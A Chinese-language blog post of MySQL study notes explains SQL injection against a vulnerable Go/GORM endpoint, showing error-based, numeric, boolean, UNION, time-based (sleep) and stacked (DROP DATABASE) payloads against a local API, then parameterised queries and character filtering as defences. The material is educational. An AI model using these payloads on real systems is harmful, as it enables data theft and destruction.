MySQL学习笔记——SQL注入

1.常见SQL注入的方法

假设我们使用goland的GORM框架写了以下面SQL

err := u.data.db.Raw("select id, username, email from user where username = '" + s + "'").Scan(&user).Error
if err != nil {
	u.log.Error(fmt.Sprintf("find user by id username fail, error: %v", err))
	return nil, err
}

如果正常的查询参数的值为test123,请求如下接口传入该值

http://localhost:8080/api/v1/user?username=test123

接口输出的结果为

{
    "Code": 200,
    "Msg": "find user by username success",
    "Data": [
        {
            "id": 18,
            "username": "test123",
            "email": "test@test123"
        }
    ]
}

但是使用字符串拼接来实现查询逻辑的话,很容易被人使用SQL注入的方法进行攻击

1.Error-based

基于错误的SQL注入主要是用于获得数据的相关信息,方便进行后序的攻击,比如输入单引号 '

http://localhost:8080/api/v1/user?username='

此时从接口的返回值中就可以知道使用的是MySQL数据库

{
    "Code": 500,
    "Msg": "find user by username fail",
    "Data": {
        "Number": 1064,
        "SQLState": [
            52,
            50,
            48,
            48,
            48
        ],
        "Message": "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1"
    }
}

2.数字型

比如使用数组id来请求用户信息的接口

http://localhost:8080/api/v1/user/1

如果使用3-2可以查询到id=1的用户信息,表示可以使用数字型SQL注入

http://localhost:8080/api/v1/user/3-2

参考:【第九天 - 數字型 SQL注入】

3.布尔型

可以通过布尔表达式来判断猜测的数据是否最正确

<原SQL語法> and length(database())>=1--

参考:【第十一天 - 布林SQL盲注】

4.Union-based

基于union的SQL注入可以通过拼接上UNION语句来实现SQL注入,比如输入' union all select 123,system_user(),user()%23,其中%23是#

http://localhost:8080/api/v1/user?username=' union all select 123,system_user(),user()%23

最终执行的SQL是

select id, username, email from user where username = '' union all select 123,system_user(),user()#'

此时从接口的返回值中可以查询到数据库的用户名

{
    "Code": 200,
    "Msg": "find user by username success",
    "Data": [
        {
            "id": 19,
            "username": "",
            "email": ""
        },
        {
            "id": 123,
            "username": "root@172.17.0.1",
            "email": "root@172.17.0.1"
        }
    ]
}

5.Time-based

基于sleep函数的SQL注入可以通过拼接上sleep函数来实现sql注入,配合上IF语句可以通过sleep函数是否执行来判断IF条件是否正确(例如在没有权限使用database()等函数的情况下猜测库名表名等),

比如输入test123' and sleep(5)%23,其中%23是#

http://localhost:8080/api/v1/user?username=test123' and sleep(5)%23

最终执行的SQL是

select id, username, email from user where username = 'test123' and sleep(5)#'

注入成功的话,请求会延时5秒之后再返回

参考:SQL注入-时间盲注整理

6.堆叠型

<原SQL語法>;DROP DATABASE 資料庫名

参考:【第十四天 - 堆疊型 SQL注入】

2.防范SQL注入的方法

1.使用参数化

不使用字符串拼接的方式

err := dao.User.Where(dao.User.Username.Eq(s)).Scan(&user)
if err != nil {
	u.log.Error(fmt.Sprintf("find user by id username fail, error: %v", err))
	return nil, err
}

2.输入过滤

通过检查SQL中有某些特殊意思的字符来防止SQL注入,比如

\
;
'
"
`
-- 
#
/* */

参考:秒懂 SQL Injection

posted @ 2015-06-29 13:01  tonglin0325  阅读(1028)  评论(0编辑  收藏  举报